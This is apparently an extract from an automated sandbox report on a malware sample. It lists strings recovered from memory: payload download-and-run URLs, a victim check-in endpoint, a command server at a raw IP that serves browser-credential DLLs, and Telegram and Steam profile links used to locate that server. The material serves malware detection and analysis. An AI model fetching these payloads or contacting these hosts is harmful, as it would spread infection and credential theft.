Source: sbvN2ih5AU.exe, 00000004.00000003.1957051104.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000953000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exe
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exe$run
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exerun
Source: build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en)
Source: build2.exe, 00000008.00000002.2928275478.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: sbvN2ih5AU.exe, 00000004.00000003.1960841650.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: sbvN2ih5AU.exe, 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: sbvN2ih5AU.exe, 00000004.00000003.1956597257.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: sbvN2ih5AU.exe, 00000006.00000003.1956793935.0000000003430000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: sbvN2ih5AU.exe, 00000004.00000003.1956807049.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: sbvN2ih5AU.exe, 00000006.00000003.1956889759.0000000003430000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: sbvN2ih5AU.exe, 00000004.00000003.1956889517.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000008.00000002.2934945196.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2931718390.0000000003ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: sbvN2ih5AU.exe, 00000004.00000003.1956966417.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: sbvN2ih5AU.exe, 00000006.00000003.1956979276.0000000003430000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: sbvN2ih5AU.exe, 00000004.00000003.1957051104.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267933196.0000000002F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe#
Source: sbvN2ih5AU.exe, 00000006.00000002.2927695461.0000000000640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$run
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$rune
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe7
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exee_
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exerun
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000953000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.0000000000640000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000003.1702964755.0000000000649000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php
Source: sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000953000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E830996378
Source: build2.exe, 00000008.00000003.1946739739.0000000003232000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.2899637257.0000000003232000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1946849835.0000000003234000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2930216404.0000000003232000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917260554.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15/
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15/r0
Source: build2.exe, 00000008.00000003.1813436955.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220
Source: build2.exe, 00000008.00000003.2900086739.0000000003263000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869315115.0000000000806000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880128885.000000000326A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/
Source: build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/$U
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/114.15:10220/msvcp140.dllessionKeyBackward
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/114.15:10220/softokn3.dllessionKeyBackward
Source: build2.exe, 00000008.00000003.1946739739.0000000003262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/16ServicePackMinorVersion
Source: build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/Q=
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/V=
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/freebl3.dll
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/freebl3.dllftware
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/freebl3.dllposition:
Source: build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/lU
Source: build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/les_AutoUpdate_1
Source: build2.exe, 00000008.00000003.2899637257.0000000003262000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2930720155.000000000326A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917260554.0000000003262000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1946739739.0000000003262000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.2900086739.0000000003263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/morySize
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dll
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dllEdge
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dllH
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dllftware
Source: build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/mozglue.dllposition:
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/msvcp140.dll
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/msvcp140.dlldge
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/ng
Source: build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/nss3.dll
Source: build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/nss3.dll)E
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/nss3.dllft
Source: build2.exe, 00000008.00000003.1946739739.0000000003262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/ocal
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/soft
Source: build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/softokn3.dll
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/softokn3.dlldge
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/sqlite3.dll
Source: build2.exe, 00000008.00000003.1880639902.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/tU
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dll
Source: build2.exe, 00000008.00000002.2928275478.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dllI
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dllUser
Source: build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220/vcruntime140.dlltQ9
Source: build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220J
Source: build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220freebl3.dllposition:
Source: build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220ing
Source: build2.exe, 00000008.00000002.2926994377.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.114.15:10220l
Source: sbvN2ih5AU.exe, 00000004.00000003.1958969742.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: sbvN2ih5AU.exe, 00000001.00000002.1685680959.0000000000818000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834662458.0000000000717000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: sbvN2ih5AU.exe, 0000000D.00000002.1897402167.000000000061A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000003.1895591064.0000000000619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/#
Source: sbvN2ih5AU.exe, 0000000D.00000002.1897402167.000000000061A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000003.1895591064.0000000000619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/-
Source: sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/RL
Source: sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/TL
Source: sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/f
Source: sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/fvpy
Source: sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2320254123.00000000008B0000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.1696735265.0000000000953000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000003.1702211569.000000000064F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000003.1702964755.0000000000649000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897402167.000000000061A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000003.1895591064.0000000000619000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897402167.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: sbvN2ih5AU.exe, 00000001.00000002.1685680959.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json$r
Source: sbvN2ih5AU.exe, 00000006.00000003.1702964755.0000000000649000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json&
Source: sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json.
Source: sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json2
Source: sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json2t
Source: sbvN2ih5AU.exe, 00000004.00000003.1696735265.0000000000953000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json4
Source: sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json;
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonA
Source: sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonC
Source: sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonN
Source: sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonQ
Source: sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonX2
Source: sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json_
Source: sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897402167.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons
Source: sbvN2ih5AU.exe, 00000001.00000002.1685680959.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsontr
Source: sbvN2ih5AU.exe, 0000000D.00000002.1897402167.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonvk
Source: sbvN2ih5AU.exe, 00000004.00000003.1958969742.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: sbvN2ih5AU.exe, 00000004.00000003.1958969742.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: sbvN2ih5AU.exe, 00000004.00000003.1958969742.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: 30264859306.ttf.4.dr	String found in binary or memory: https://github.com/andre-fuchs/kerning-pairs/blob/master/LICENSE.md).
Source: sbvN2ih5AU.exe, 00000004.00000003.1960841650.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api
Source: build2.exe, 00000007.00000002.1799028749.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199601319247
Source: build2.exe, 00000007.00000002.1799028749.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199601319247helloWFQY12O5J6Nr.$v
Source: build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917064003.000000000080D000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1926184337.00000000039CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917064003.000000000080D000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1926184337.00000000039CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/N
Source: build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1813436955.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1824602639.00000000007D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/bg3goty
Source: build2.exe, 00000008.00000003.1824602639.00000000007D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/bg3goty#~
Source: build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/bg3gotyg
Source: build2.exe, 00000007.00000002.1799028749.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/bg3gotymedvsMozilla/5.0
Source: sbvN2ih5AU.exe, 00000004.00000002.2321037437.0000000002F79000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275123419.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267933196.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.000000000065B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-99MNqXMr
